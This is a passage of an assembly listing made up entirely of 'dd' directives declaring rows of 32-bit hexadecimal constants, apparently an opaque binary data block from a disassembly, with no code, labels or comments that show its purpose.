		dd 0BAC40104h, 883CCE77h, 91BBC06Eh, 570FEC2Dh,	0E40DC03Fh
		dd 1090D5E4h, 0E686910h, 0BA9163A2h, 4E600256h,	0B0C9F2B3h
		dd 9B0183Bh, 9B68BD2Ah,	3000001Ch, 0FDF2AB8h, 0AD0EB29h
		dd 8B9DE1BFh, 9E46749Ch, 0B2056E00h, 44C1D360h,	0BDBB8700h
		dd 327F068Eh, 8464D5E0h, 0CBFC071Fh, 84827D63h,	0FC2993DDh
		dd 313717E3h, 305522B4h, 0B700F28Fh, 0AD5D3EE2h, 59146E7Ch
		dd 0DC50B0A8h, 399D42DDh, 2C62CAB4h, 22F47066h,	0D7008B43h
		dd 241BD51Dh, 399AFh, 49B657C4h, 316FBB5Ch, 16B2B904h
		dd 70CBB432h, 450F0475h, 91E36909h, 0ECBE466Ch,	50C734Ah
		dd 795F7F5Eh, 0CFFE002Dh, 0B2B85471h, 0B40241A5h, 0E0E4AF50h
		dd 81859A0h, 65098713h,	0C064CD42h, 87E0D5DFh, 84EA0C28h
		dd 21705A31h, 6872E1E2h, 0E352610Eh, 0A9B8372Ah, 18F3D1DCh
		dd 6427145Ah, 3C4CA72Eh, 0B805D414h, 638011h, 576B6634h
		dd 2086A74h, 0B4228AE7h, 0D880FA40h, 9BA50FD8h,	0B4302181h
		dd 440DD07h, 0D08E4C77h, 88C0B734h, 10ACE832h, 78A47B0Dh
		dd 4684D894h, 2023B4CAh, 0F661ACDFh, 1DB06314h,	0A4250354h
		dd 0BC61A7FCh, 0CFFC42B6h, 0A665FC59h, 0EDBFBC00h, 6991393h
		dd 911F6EFh, 0DE12D0AFh, 88202C26h, 0FA398DA6h,	2090B854h
		dd 0BA0BE685h, 3E3B1h, 8B26E8D9h, 9A30C04Ah, 58E22E86h
		dd 0D0C4112Eh, 1369D380h, 1891A3CAh, 20AD52AEh,	0F0805949h
		dd 187C94h, 25EC0812h, 0C49FACD1h, 57E4680Ch, 0F8EBE073h
		dd 0A4C81F85h, 374C0B9Eh
		dd 7FE3F8A0h, 78585A9Fh, 0B88BC8h, 5706709Ch, 0FEC988Bh
		dd 26EA08DAh, 0C910C041h, 0C5C08085h, 58829EAEh, 895C6121h
		dd 0C8FC728Dh, 1027F58Ah, 5A082492h, 0DDF8240h,	70051D36h
		dd 0ACA2D88h, 1F7AA680h, 90C84B4Eh, 88D9FCA4h, 0BA4AF03h
		dd 0ECE4E2C4h, 0AA2D9058h, 68C0447Eh, 0CB4A9C65h, 74DD00DEh
		dd 0C8CA216Dh, 0E11E7F5Ch, 8EC10C45h, 8DE9C457h, 0E0FFEF0h
		dd 0E8794E60h, 0EC40F18Fh, 0C0DBCA08h, 5BF5DC0Eh, 41C5EC7Fh
		dd 0B50300F7h, 8DE06E0Eh, 2A7EA7D3h, 70B94F0Eh,	0AD2C80E3h
		dd 5F3B43h, 0D8609A03h,	5D8F0266h, 5C19BE00h, 4F382456h
		dd 83BA033Fh, 1063BD5Eh, 84741801h, 75F0CD69h, 41E12Bh
		dd 0E8D22C18h, 0DFB7FF0Ch, 1588ACh, 2DCA0FD1h, 1E1195A5h
		dd 0FFCCA806h, 20AD57h,	0D513F541h, 0CF66D064h,	0BAE46200h
		dd 0FA2CEDE6h, 8B1C0707h, 90D846C2h, 45D69860h,	0E88CB60h
		dd 6119C5DBh, 49E4F8F3h, 0ACF4D055h, 0D6F1E600h, 9F01CDC2h
		dd 3B9E003Dh, 4D35F054h, 0F1F423Eh, 5A00A2F5h, 0D5F74B5Eh
		dd 12D0FF1h, 1D208799h,	6658B289h, 0FA009BF6h, 16B3BD2Fh
		dd 0F2CCA62Dh, 4DE6018Dh, 0A2995B2Ch, 0DB98C5F5h, 173A61C0h
		dd 55398F01h, 0DD3229F9h, 996D088Ch, 0E1073620h, 852D8216h
		dd 0CFECD300h, 0B8750107h, 3D21185Dh, 1288EA2h,	0D591D8D6h
		dd 350A000Ch, 3045C3D8h, 443C8972h, 929600A3h, 0A516C8B8h
		dd 9BC618E9h, 5A346901h, 0AEFD9EC0h, 6C4AE550h,	0CB0B80Dh
		dd 0E802F643h, 0E5399516h, 0C106B31h, 5D00164Fh, 33CF75E7h
		dd 0C5A7E38h, 0CBFA39C5h, 80AC9D51h, 94165702h,	19FA2D39h
		dd 0E237106Eh, 9B240B16h, 0AD01FF4Ch, 41153FD4h, 7052758Dh
		dd 7701F533h, 0C2DD9C08h, 0A4E011BDh, 29D800C8h, 35BF4A96h
		dd 0FE009893h, 6C888490h, 1CE7EEEh, 0E4C194DFh,	0ECD0F913h
		dd 4AFA4543h, 80231E39h, 0D3115B51h, 0EB12C8h, 96BAAD74h
		dd 243F92E6h, 0F61F942Fh, 9FDA0F25h, 74851DC0h,	3B004C57h
		dd 0F1039CB0h, 0EE68B6Eh, 0E889BDBCh, 0B89FDD00h, 7D0E4374h
		dd 0C06B69B5h, 5E58A9Bh, 84B9003Eh, 0D2088F72h,	3700BCB0h
		dd 5AFDE8ABh, 2B2242Dh,	0A65F92E1h, 66E07D96h, 0E30E81C5h
		dd 80CB0597h, 9844585Ah, 548B0040h, 2A53675Fh, 51033D5Eh
		dd 6C61F93Bh, 0FA200742h, 60A0A1B8h, 0A6ACD622h, 90642C00h
		dd 835935F4h, 0CD2E003Ch, 401EFC12h, 3B034107h,	8D42855h
		dd 8CC5D8C4h, 0EC8500F0h, 755A7358h, 0A006586h,	34E1BA74h
		dd 998D36h, 0F029A684h,	0F31E937Fh, 0EA094A00h,	7B4775CAh
		dd 14BA00B9h, 41782681h, 0AE00AD93h, 774BFD1Dh,	244F9Eh
		dd 0E12E0B54h, 4352D73h, 30019500h, 600E287Bh, 226800FCh
		dd 1781712Eh, 0A41EB450h, 0FF801D31h, 0EBBE492Ch, 24BA0057h
		dd 8B37834Ah, 610725CBh, 2B048ED9h, 46F3C670h, 7E620E5Bh
		dd 6806753h, 52A3161Ch,	8E023490h, 5B7B54DCh, 69AB4003h
		dd 6C3C0E62h, 0F3461E64h, 60050D9h, 60DE5DE7h, 4CA643h
		dd 5797896Ah, 8145F85Fh, 3E5058h, 0C7745837h, 91FE12h
		dd 6BFF4442h, 227334EBh, 50726800h, 7DCBD49h, 8D1200D2h
		dd 4F998E4Dh, 930040E2h, 0D0E3336h, 6F3713h, 78ACD57h
		dd 0B5C7D667h, 767CFAE2h, 71DCCB00h, 9BB1A2AAh,	65283053h
		dd 60917D11h, 7BF925Ch,	0A8A1A05Ah, 0CAFBC2C0h,	95C077Bh
		dd 20751CD1h, 202F21DEh, 4E0BD8A0h, 8300C278h, 0EBBA2E31h
		dd 0F00ED9F5h, 84CC01C7h, 3C1BF4EDh, 1721D462h,	0E7313200h
		dd 0F377676Fh, 45780060h, 41059A1Bh, 0DE0064E3h, 37F0FCEAh
		dd 915C1h, 49594DBBh, 845E6A9Ch, 8AE30F00h, 241BB55Fh
		dd 552200F9h, 90A0BD73h, 7B0F1556h, 0A0676457h,	0D14B3FA1h
		dd 9D3B00EEh, 0D8FA6143h, 0D30BC1A0h, 106727h, 7E550CF8h
		dd 907F45h, 0EDD52808h,	7F1EB4E8h, 91336800h, 0B9CB438Fh
		dd 381B12F5h, 0B6C70E6Eh, 26002DABh, 11531AABh,	0DEE1CC00h
		dd 577139C2h, 16D209D7h, 5A00F14Ch, 0C05EDABFh,	8FB7A901h
		dd 62FE9F83h, 18A2F0h, 5CDEEAACh, 0CD553897h, 0E4B03600h
		dd 2EAD124Bh, 5E9B1267h, 0C92C032Ch, 8C882191h,	57003E53h
		dd 0F92544FCh, 5206C09h, 528662BEh, 9C89C079h, 0FD03937Ch
		dd 99C74B50h, 71C5C806h, 733F8DCh, 0D34587DAh, 0D8D13095h
		dd 0B900A0ABh, 81856FF3h, 166B031Dh, 8C1AAh, 0E3B45591h
		dd 5E300CECh, 17CA90F2h, 6FECB5h, 0DAD4CD2Ch, 7D56D23Bh
		dd 2442B100h, 0A54D7186h, 506C001Dh, 0C5851FFBh, 6B0F14B2h
		dd 0A0DA2DECh, 452B8B25h, 0D5B08Eh, 884114Ah, 0DCDEBF15h
		dd 9F39F8E8h, 0B72A806Eh, 22710186h, 6FD80058h,	0BBFD51A6h
		dd 827744DCh, 0A0E34E00h, 587AEE6Bh, 352D4829h,	39EBD303h
		dd 0A3874156h, 1000D29Dh, 0DDB32A19h, 18C283F6h, 18D1A66Bh
		dd 0BE0266C3h, 5F03F8B5h, 1D3C401Ch, 9B4F4050h,	74355406h
		dd 493E08h, 0A4BC1532h,	0CD13DBBEh, 7D57C00h, 7F901724h
		dd 0EEEB00B4h, 0CF02FA29h, 0E0244F4h, 0B5CBD2Ah, 4DC48780h
		dd 950925F0h, 0F3780069h, 3E30A7B3h, 0A100ED44h, 939D61EBh
		dd 0D15F6Bh, 0C145BDE1h, 0F5240C5Dh, 0DE31D600h, 58AF8C6Eh
		dd 96C902Eh, 9DF1ADF3h,	8331D025h, 52A1E087h, 0CE477076h
		dd 0BACDB401h, 7C4E5946h, 2C7FAC30h, 35D275Ch, 0EACAF528h
		dd 0F86CBFB1h, 0B85CC0A8h, 0FE4E00EAh, 80170E45h, 220B0CAh
		dd 0DD42FA13h, 37E07615h, 7E00A40Ch, 2F81E810h,	3C5EC28h
		dd 23F3C4F6h, 40C8ADCAh, 1D906765h, 7AE07F00h, 0AA8074F8h
		dd 99F11F2Fh, 0A058B0F3h, 0DCE69334h, 3141F93Fh, 9EB0084Ah
		dd 1CC20h, 0FBC305DDh, 7DEA53Dh, 0EF287E02h, 601DF8AEh
		dd 710E244h, 1824912Ch,	0E0A8C0B7h, 0C70E4E29h,	0E02B145Dh
		dd 6C0E8AB0h, 44F2ACh, 0DCE8F388h, 0B70B1B2Ah, 82D7F607h
		dd 6E147040h, 5E57B680h, 290A0486h, 0C02B2211h,	1418EE34h
		dd 0BFAB6800h, 2B66C59h, 3F780BE5h, 0CD002767h,	0F11403C8h
		dd 0A9F3706h, 9C7046h, 7E54F2D2h, 52FA8932h, 8F56411Fh
		dd 57CAF870h, 69443B12h, 0BE509600h, 9737F26Bh,	218B9401h
		dd 0E721F3Bh, 125CC4h, 0CC7F6E49h, 54350339h, 0C56C5D00h
		dd 40DCC6AAh, 0CBF5002Dh, 3CE53E10h, 967ECDA1h,	72636F26h
		dd 8E0D5A00h, 2DC4BAEh,	0CFC7FECCh, 0C0A0CEE3h,	2236C349h
		dd 0AF0710E6h, 5B2B2A4Eh, 0D687DFC0h, 1386334Fh, 1C06F11h
		dd 0AB079638h, 0F764B1D9h, 8DBED181h, 0C0E42ED4h, 281FE6D9h
		dd 0D0031725h, 1339038h, 0B070FF20h, 0C76F8327h, 76D6C629h
		dd 0A34958E7h, 0FDB80034h, 0AEA2CFADh, 0B737001Fh, 0C4D00D67h
		dd 0CA7375A7h, 42B3DF06h, 7838E2BDh, 0CFDC14B2h, 0E70668E1h
		dd 50A7363Ch, 0AE00B579h, 0ACFBF1C8h, 28C3B78Bh, 8C103AE7h
		dd 174D0084h, 227FBBD7h, 75009F6Fh, 2CFB85CCh, 7640FF5Dh
		dd 42CD00F0h, 7C49E1D4h, 3200C375h, 8DBBDBF1h, 0E4B8DCD0h
		dd 1E4400D3h, 2C2553A5h, 0EE03837Ah, 0FFCBCC4Fh, 0E8DDE8E1h
		dd 406F0028h, 0B8B170A4h, 491F78ECh, 771D3D58h,	5FB2C600h
		dd 718FED3h, 0BCC1E430h, 0EA3710BAh, 76008FAAh,	8E012E1Dh
		dd 0DEFF13h, 73C1526Ah,	575CD79Dh, 0EE87B700h, 8B0E4866h
		dd 742B2E3Bh, 2AD900F4h, 153414CFh, 0FD08C207h,	0A16FFE6h
		dd 37070146h, 0A1DD3570h, 7865E073h, 40325400h,	2F3DE045h
		dd 7F94A8D4h, 13E0A83Fh
		dd 0ED20044h, 1DF3B3ACh, 9F0142B9h, 0AD738A14h,	7BFCA0EFh
		dd 0DE40050h, 2C946599h, 0A2744A42h, 5E02F0F0h,	0A65F5AF7h
		dd 44C8A037h, 8ACF7Dh, 2994470Ch, 0BA7F20D8h, 0DC099678h
		dd 23A6BBE4h, 0C18C2E14h, 1180A4B6h, 6E663140h,	6300ED05h
		dd 36EC104Bh, 0C592718h, 0D0C85FF0h, 9207A5C1h,	2BBB2AFh
		dd 0FF10DF21h, 7EEBE70h, 0E3F93108h, 947DA39Eh,	61C8D7B0h
		dd 0BADA39C2h, 27F3832Eh, 0C62DE869h, 0B85CECAAh, 0FFC50064h
		dd 0FADF591h, 0DF00184Dh, 27190316h, 2437CE24h,	8090BAC8h
		dd 0DC9B48A8h, 7B00DAF3h, 538D5F59h, 0E2230F32h, 5FC038Ah
		dd 31E1BB33h, 4122C000h, 0C6F6DE4Bh, 206B12D8h,	0BC910C06h
		dd 0C1007151h, 6FE5F344h, 0CA9C2Ah, 2FA38DCEh, 0A235AF18h
		dd 15B32200h, 99F041E8h, 9B0601E7h, 981CD30Eh, 0B7A053AAh
		dd 0DB2B69C0h, 0BE0611Fh, 63EE3B40h, 0C1C8D42Ch, 0CFB87989h
		dd 36884865h, 30ED9401h, 0F3B04B91h, 1F1C3E0h, 18C74CF6h
		dd 50420531h, 0EDA4697Ch, 0F2011B01h, 5EC25FD2h, 2C807D8h
		dd 65AB11AFh, 4484E61h,	0E7031252h, 203214D3h, 77800E86h
		dd 7C80ACFEh, 0AF283805h, 0AE22CD18h, 39335C1h,	41CCD2A5h
		dd 77D047F6h, 0A86F9778h, 3E344021h, 0AB73ACh, 16D86039h
		dd 0BBE12964h, 0CFA7040Dh, 36F8A9B9h, 0A2C400CAh, 6853F731h
		dd 8B00A61Dh, 4427AEFAh, 7FB6096Dh, 5CA748D3h, 51AB7E80h
		dd 0ED0DF052h, 0C058E123h, 907C7D30h, 11F47974h, 44AC33h
		dd 0CC6DF304h, 474C405h, 7F260C02h, 10AC90E2h, 0D71CAA90h
		dd 27C88EFh, 86AC870Ah,	5D8480C5h, 0B8E7C4h, 91320619h
		dd 0D01341EAh, 943E943Ch, 3FF4E94Ah, 90DF00C9h,	8A449BB6h
		dd 0A06340CFh, 21EBF21Fh, 0DDE9D7C0h, 1916D0Ah,	1A268C94h
		dd 83CC2D3Eh, 19635B29h, 99C46067h, 0CE9BBA2Fh,	3FFEC31Fh
		dd 6A19E118h, 2B9C1F1Ch, 0C9185E4Bh, 0CC10229Eh, 8F2CD8AAh
		dd 3B3ED4D2h, 39AD802Dh, 0CE628EFh, 30D2AEh, 59127C67h
		dd 4C31A9A0h, 66A659D6h, 26809855h, 0EBC07Dh, 52E6A94Bh
		dd 0BFAF3F24h, 9386270Eh, 6F2623E1h, 0D05000BAh, 8C135D14h
		dd 0E90147C1h, 5E40503Dh, 2032C3E4h, 8EA411Eh, 0B380A5B5h
		dd 0F198196Fh, 4B10C0C8h, 0B6584159h, 9640101h,	0D18C76EBh
		dd 5B037E8Ch, 84ABA0h, 20176369h, 0D7229F89h, 0DC01F100h
		dd 4419147h, 0B899763Ch, 54BCE262h, 114B068h, 0BAEC2661h
		dd 0F017FC65h, 0AD61C9E4h, 7A4CAB91h, 0C1F88450h, 959588Bh
		dd 75A48050h, 1E34008Ah, 0E4F015BBh, 39C73CC2h,	5805211h
		dd 0C0497FE9h, 6863A141h, 7E00E597h, 0BE59CB25h, 1D695376h
		dd 88426ABh, 0C380A221h, 0E0B17C03h, 70CB6EF6h,	0BB5B1A22h
		dd 0D10CD042h, 2E014728h, 0AB015F5Ch, 7D203C35h, 7173607Eh
		dd 74189A03h, 1B846E00h, 97CB022Eh, 19F6003Bh, 3E0EB9B0h
		dd 0A081D02Ah, 14089020h, 9043D323h, 6537CE22h,	8A8F51F7h
		dd 6C8E0C2Eh, 0F9EF2040h, 14C079Bh, 0FDF38DA4h,	22D93D85h
		dd 41760160h, 48E2D6CEh, 0F18FC8BFh, 770CAB10h,	0BC2AE459h
		dd 0E7F8F8F8h, 223C39D4h, 0C06EC044h, 9F641B99h, 1D9B3900h
		dd 0E18C31E7h, 9997E463h, 91E802A0h, 80552911h,	82BDE6CEh
		dd 37180150h, 2F3C593Eh, 64604167h, 0C61803Bh, 9BF6F01Dh
		dd 0C30B811h, 467F6674h, 1000EE89h, 0A1DCB260h,	1E0ED26h
		dd 1B2EF0A5h, 20D4FE07h, 7F319EF4h, 0FA97316Eh,	8617E0FBh
		dd 0D8D5007Eh, 6DDDC89Fh, 0A9121827h, 0CC2097BDh, 3D67F33h
		dd 1F0F7CD4h, 0FCD85C81h, 0B0A02C32h, 0E451AB51h, 22CFD544h
		dd 0E1120094h, 3218B93Bh, 0A0A45EC5h, 0BFFC3582h, 3F146F00h
		dd 0A9D3835Bh, 60914Eh,	9FED76F9h, 0B95CA618h, 0E60302C6h
		dd 0C00B08F0h, 214E9F0h, 8692AEF2h, 2A42EA9Bh, 0CBAF902Eh
		dd 7837B700h, 0F10A42BEh, 0A0E90F92h, 634F5740h, 0F08B58DCh
		dd 8C8039C9h, 0B04811DAh, 0C668470Dh, 8333140h,	0EC55007Dh
		dd 4C542DE6h, 449039E4h, 9722240Eh, 29596C8Ch, 1FB938ACh
		dd 6286C980h, 3FFCAD1Dh, 39B16604h, 0F08044F9h,	18B4B2DEh
		dd 6971CB65h, 48A02B3Dh, 380A6C2Fh, 6CACBB8Ah, 2ED5700h
		dd 4078BCh, 47BAAE87h, 0C952B211h, 82396460h, 96143Bh
		dd 0E416A5D7h, 0BFA760EAh, 4C946604h, 0C0C94BAAh, 12006C26h
		dd 4736B635h, 6500F8EFh, 0AFDB1DEEh, 2EBA92D4h,	3C4A124h
		dd 722F111Fh, 20469892h, 2612F8EAh, 4B00C40Dh, 88E38767h
		dd 7D7E3AC3h, 3C50D302h, 0CC668CDAh, 49027A00h,	0BF43B573h
		dd 3BE400D3h, 0BAF50BE9h, 0EA0BA872h, 47A183Eh,	1A476140h
		dd 0B55BD078h, 8B004B54h, 694D99A5h, 3D3863F9h,	0A08AA693h
		dd 3D4C83B9h, 815DEC1Eh, 0E904060Ah, 0E7B9D09Ch, 110F0200h
		dd 0CBDA2EF3h, 0DB190224h, 215FBAC7h, 5DEAFD63h, 0B0B100C0h
		dd 0AF8C4662h, 0D0F46008h, 52920998h, 94981130h, 0CE00F8D7h
		dd 0BFB54DC8h, 1E46486Bh, 5F7F1DBCh, 0FC2000DEh, 1C5EEAAEh
		dd 4734C603h, 729527AFh, 44B5049Ch, 0C08E2D18h,	0D03181C0h
		dd 0C7363200h, 66BD1289h, 0BE6D2ECCh, 0AF110093h, 10C41F0h
		dd 97E74C16h, 9CDE3C21h, 135BF520h, 20B8E467h, 9B3812CCh
		dd 35A9D004h, 88CD3E07h, 0DF00A447h, 5D79AE7Ch,	3A2500F7h
		dd 6BE4D410h, 3B430A00h, 2803A5BCh, 0AB070E37h,	74E09FACh
		dd 0CAB57E1Ah, 2CB990B8h, 8A764801h, 0FFDC8513h, 0F36F1C92h
		dd 722C124h, 0FC045986h, 793AD4ADh, 206A044Fh, 9C882318h
		dd 0FDE0007Bh, 11B9FB8Eh, 8607EECCh, 0BF75E16Ch, 773DCEF0h
		dd 0B1A126BDh, 7B481188h, 1997D21Ch, 0A8A6D940h, 0C05FCFBAh
		dd 214AC0E9h, 8900B464h, 8711CE2h, 3067F933h, 0BA41493Dh
		dd 600079Ah, 0BE49853h,	89D6253Eh, 0CAD98082h, 9A87521Dh
		dd 9C18008Fh, 0C4CFEA21h, 0FA4AC7A5h, 689E9000h, 0EBA7D981h
		dd 0C0F01080h, 0CFDB2387h, 5E52B02h, 64E8F9D7h,	948E002Ch
		dd 36151B90h, 0ADF84CD6h, 1295E608h, 45FE0054h,	2DB30D69h
		dd 79A68F18h, 0E19D39h,	81823466h, 3BC2D8A3h, 0AF00257Eh
		dd 11E6C970h, 5CE45496h, 0E1DE0CBBh, 2480F61Dh,	278AB9CFh
		dd 31380082h, 3E18D6A3h, 0F9D0C926h, 0AF231884h, 4F4441h
		dd 6558A335h, 6026A4E5h, 0B4A1FF29h, 8358F80h, 1A2949h
		dd 0E77EFA51h, 0E0C6D918h, 1DA9AC00h, 5E26A7A2h, 0E310C6AAh
		dd 0A631914Ch, 4E32D96Ch, 3E87BEE9h, 307C3490h,	0C69814B6h
		dd 7353DB00h, 73F16DFh,	0E4D7130Ah, 406020BEh, 0AC946068h
		dd 10233D8Bh, 0EDF09Ch,	0FC077742h, 6DCDF173h, 8C2252h
		dd 3AF8B708h, 98ABA3h, 172C07C1h, 0C6912719h, 0E4420E04h
		dd 18B49796h, 1F3A00ECh, 0D089148Bh, 0A0070327h, 1ADE189Eh
		dd 21E400D9h, 1EE30DE5h, 6BC9A4Ah, 9942AB75h, 0E6018D03h
		dd 9AE8D0BFh, 745C40A4h, 0B34B8B4h, 0C8ED626Eh,	8EF8F490h
		dd 7859760Eh, 0E4BD80B2h, 32DD094Eh, 7268E256h,	0E6C154E0h
		dd 0DF190B00h, 0E4C4448Bh, 0DAFB011Ch, 0F53D5339h, 12862C1h
		dd 0E148E00Ah, 7883E9B7h, 18A46D25h, 246634CAh,	0D5039A7Ah
		dd 0E4ECF52Eh, 6365F90Dh, 0DA00B422h, 41F1A970h, 1898EA9Fh
		dd 0F7011DE8h, 0B8EEDDAFh, 5ED0FA0Dh, 2907828h,	77C11141h
		dd 6460B936h, 0A8A30294h, 0C724F819h, 48628299h, 4D43EA01h
		dd 38B6317Dh, 11188018h, 1B49CDDh, 5BEDE942h, 60D41315h
		dd 694CD59Fh, 8575C058h
		dd 3D7180h, 4431B9D8h, 83B2D4E6h, 0AFE34F00h, 16261FEDh
		dd 38C101FCh, 2B3E1274h, 0EA6997D2h, 53D9E030h,	0B93400ADh
		dd 0ED4931F4h, 604A657Fh, 2DAF6440h, 5497AB1Fh,	69CF3h
		dd 71590724h, 0EC748CD7h, 0DF5E6100h, 0D1257F99h, 92C11EA2h
		dd 0A1D54214h, 5CA06302h, 85A9A7D2h, 0CE8B3400h, 0E6C84BAEh
		dd 45E100BCh, 46FD1841h, 0A63065EBh, 7CFAA14Ah,	0B4081C78h
		dd 0B3A040A9h, 32AA246Ch, 0E582500h, 1B95D280h,	69C7A13h
		dd 81468F77h, 731D71BDh, 1E03CC45h, 0D83D316Ah,	24CDEFBh
		dd 0F13CD10h, 7051B7E2h, 0E0523E62h, 4D972DE4h,	0A8031435h
		dd 7094E6C4h, 6E452C88h, 3672E700h, 79094427h, 0F1AB3EFEh
		dd 7F021C5Ch, 0E4BEC8E6h, 0D09DE000h, 7DD7B2Ah,	3A66DB9Ah
		dd 8927185h, 0DCEE497h,	0E719820Eh, 600C80E5h, 1370775h
		dd 8A74502h, 22B6E212h,	40C92C5Ch, 60C47342h, 8E8198h
		dd 0CFBE0372h, 2350AD62h, 0D2FE6B7Dh, 0F01EF17Fh, 106653F8h
		dd 7FCEB004h, 1C4890C8h, 0E437F686h, 3B5C09B4h,	836A9804h
		dd 4088E788h, 1503C4EDh, 0E8AB515Ah, 0D03948DBh, 8F4ECEC0h
		dd 0AE003719h, 2905930Ch, 192866Ch, 0F01C87BFh,	43A79C8Ch
		dd 12806718h, 9F001F6Bh, 5785C5FAh, 3F61805h, 5FE2213Eh
		dd 0AFA7B296h, 0A4F76504h, 1876BA08h, 93007290h, 11976A07h
		dd 7C696138h, 0F13406AAh, 0A1707FEAh, 0F0DE980Ch, 0ADD222h
		dd 75E41C82h, 4A5A97F6h, 81B6230Bh, 473C0061h, 0B1A67E1Eh
		dd 9E803F54h, 4CF25F21h, 0DA0214C5h, 0B984CC61h, 124E0EDh
		dd 0C19901D8h, 0ABE762A3h, 261DC495h, 4EB0A498h, 0CDC95412h
		dd 0B4372440h, 60E944h,	15B24686h, 0E4AA876Dh, 5E000499h
		dd 92138C2Ch, 2F980336h, 3E04685h, 87FE0BC0h, 34DA7205h
		dd 8420A652h, 0F5AA15h,	77DB7DC4h, 6FDA3DE7h, 0FF2080B0h
		dd 820211C8h, 0EA0D006Eh, 0B4DF2AE2h, 41290008h, 695B3945h
		dd 8A3E3493h, 0F1BF0271h, 5184A2EDh, 54B20574h,	0C99CA655h
		dd 1146823h, 0ECFE002Bh, 9C9BCB5Bh, 0F800EF56h,	0C118C5D9h
		dd 42A91CFh, 68485444h,	0BA4CB461h, 63EA4702h, 5A84D9FFh
		dd 0A58C00A4h, 6BF94236h, 2209CD66h, 0C88231F2h, 0D3D048h
		dd 2E30A8B5h, 86B8A55Ch, 0AC114408h, 406E8735h,	0A12900D4h
		dd 0CCA01C99h, 61B0B072h, 0E8787F00h, 9669A425h, 713CBA85h
		dd 5CAC583Fh, 9C012880h, 816E718h, 0A0888852h, 70F001Eh
		dd 0EB3F965Dh, 742D346Bh, 15A08792h, 0E213BF10h, 80D4B1B8h
		dd 9F822F4Ah, 0F100B5D0h, 0CF3F0738h, 2D5F2CEEh, 3825273Ch
		dd 0CFE88C65h, 0E62BCD06h, 16A0B1F3h, 584F12Fh,	0A4823D40h
		dd 0A3008F34h, 3937182Eh, 0B0B63511h, 5C617943h, 0DD806498h
		dd 392F6541h, 3DCF1609h, 0F60099Fh, 3A6166F7h, 85C0C071h
		dd 0E19FC278h, 12B44849h, 0A0D8DC57h, 411384BBh, 3CC8EF68h
		dd 1862422Dh, 4B594FFCh, 0D9D0DDAh, 0C0781E18h,	5C9C972Fh
		dd 20C44140h, 0ACFB166Dh, 77F0025Ch, 0F0438EBBh, 293DA687h
		dd 161D3B7Eh, 39C9F985h, 527A8084h, 7DAAD415h, 36982683h
		dd 0D6AF80D0h, 0E5E98B7Bh, 0DF5B4800h, 15B9C5ACh, 500B3AF7h
		dd 0BAB0DB01h, 204935A9h, 3E007D9Ch, 0E8E7DD08h, 185206Eh
		dd 0CAE1954Eh, 0D49A4463h, 714B3D35h, 0EBF92420h, 8B381E67h
		dd 0A7B0C9ECh, 5FAC68C8h, 0EE0080E4h, 55092365h, 0B1B142BFh
		dd 7FA3809Ch, 25AA8826h, 0C5D8900h, 0AB665EA8h,	7E93039Fh
		dd 0BE4453E5h, 508F188h, 0C5EAD500h, 40B46007h,	8BA4837h
		dd 1F16F605h, 12DC123Fh, 55103AAh, 64F9EB8Ch, 18B04860h
		dd 0B6BD900h, 5B3738D0h, 0EF460094h, 0CF481F5Eh, 42483108h
		dd 5D261D50h, 4053AA02h, 40F868h, 0F92E8732h, 4E7C9A49h
		dd 0CB5912Ch, 0E4B37D09h, 89A73D90h, 918AD080h,	9F5D358Dh
		dd 0BC21493Fh, 4054840Fh, 0F888A6E9h, 0B4BA007Bh, 4A477E39h
		dd 1B01B8A1h, 0F7AF6F25h, 2822FA64h, 0B090B025h, 3001819Ah
		dd 796D16F5h, 53D41B85h, 0B75B1F8Ch, 6780F9BEh,	4F2FC7CEh
		dd 5EEEF80Ah, 0CCDF38A0h, 348FECA0h, 92B0F05h, 0CC88289h
		dd 534E00BEh, 85DC75BCh, 4165145h, 7C027147h, 461707E9h
		dd 157000A4h, 904CF357h, 0CF4C9DBEh, 603A8FF0h,	9EBCC820h
		dd 4844B00Ch, 8F2C2C36h, 417A80A4h, 0A7250D0Fh,	8180089Eh
		dd 0E19985BCh, 723400F3h, 70455B78h, 0E800BD44h, 4C23B559h
		dd 39FBACCh, 0C2F4ACE7h, 0CE8AAFA3h, 48071452h,	0B4FAF5BFh
		dd 61A878F0h, 2B11022Fh, 0CF7377E8h, 6A008452h,	0FEFCBB20h
		dd 96223DA4h, 17148014h, 0AA6A2D19h, 8C6DF7h, 4CBE7912h
		dd 209E15Bh, 0A32F18A8h, 1C40F5B4h, 0C825CD26h,	0A92890B1h
		dd 8EA7001Ah, 2B939004h, 905259Ch, 0A0E2BE26h, 3ED79CCCh
		dd 8400FCA9h, 0B505DEFFh, 1F0095CDh, 1307E108h,	0B9ABCB42h
		dd 90620010h, 3155BA53h, 248E0607h, 6A102688h, 1CFE8B08h
		dd 68B3DF04h, 187500B0h, 3BE9F6AEh, 3EE4E8DAh, 952EA760h
		dd 0D2D7203Dh, 5F9C30F1h, 0FF21DB0h, 0AB7170F5h, 0E0F07B02h
		dd 80CFBA30h, 58590E18h, 0AF480EF4h, 63A0C287h,	35948B3Ch
		dd 0E86DC70Bh, 1B94A7B0h, 0BD222650h, 0BECBCA5h, 5048CFA7h
		dd 91D191Dh, 89FDD85Ch,	60CBF7B3h, 0CF3FAC9Ch, 972022F1h
		dd 0B2DDE5F5h, 0D5018C1Fh, 1D5D329Eh, 0CFB8A243h, 0E85100CBh
		dd 0C20B94D0h, 0DA043E01h, 9C476372h, 2000B0A2h, 265B2A70h
		dd 0A900B971h, 68291227h, 38F730h, 4E23C40h, 0C8F60618h
		dd 183689Ch, 983AAE6Ah,	365B81Fh, 0BA2B0851h, 2D98D3E1h
		dd 0AF12AA8Dh, 4CE4E7A9h, 0B3061241h, 3C0808E1h, 10CCC781h
		dd 3828A38Ah, 0B2185D05h, 0BA100097h, 178A62FBh, 49858430h
		dd 7F8E0C5h, 0DD070149h, 7897F09Dh, 0EB741C9Eh,	0C6CBD377h
		dd 4428E4E2h, 0A679FE40h, 485D4200h, 4B11CF60h,	0D0830B97h
		dd 5C108144h, 35B0C576h, 0B9D85000h, 9D05E219h,	89405F0h
		dd 80C2E7D9h, 81FBEAFEh, 0E9A4E000h, 34261018h,	1731EAAFh
		dd 0CBAA3E5Bh, 0C21000B8h, 0C562DBFDh, 8E8F0769h, 21764331h
		dd 2B91FA20h, 0AB53A041h, 4181E0E5h, 7F3105E4h,	0A211804Bh
		dd 7BBF2CECh, 56A500A9h, 7AF0FC5Eh, 0C0B072C8h,	0B63E344h
		dd 69BA2326h, 0A9A8DC10h, 0B2D41D12h, 98093C13h, 14122Eh
		dd 49F20BC0h, 989F6ADh,	37216596h, 4824C820h, 7203F797h
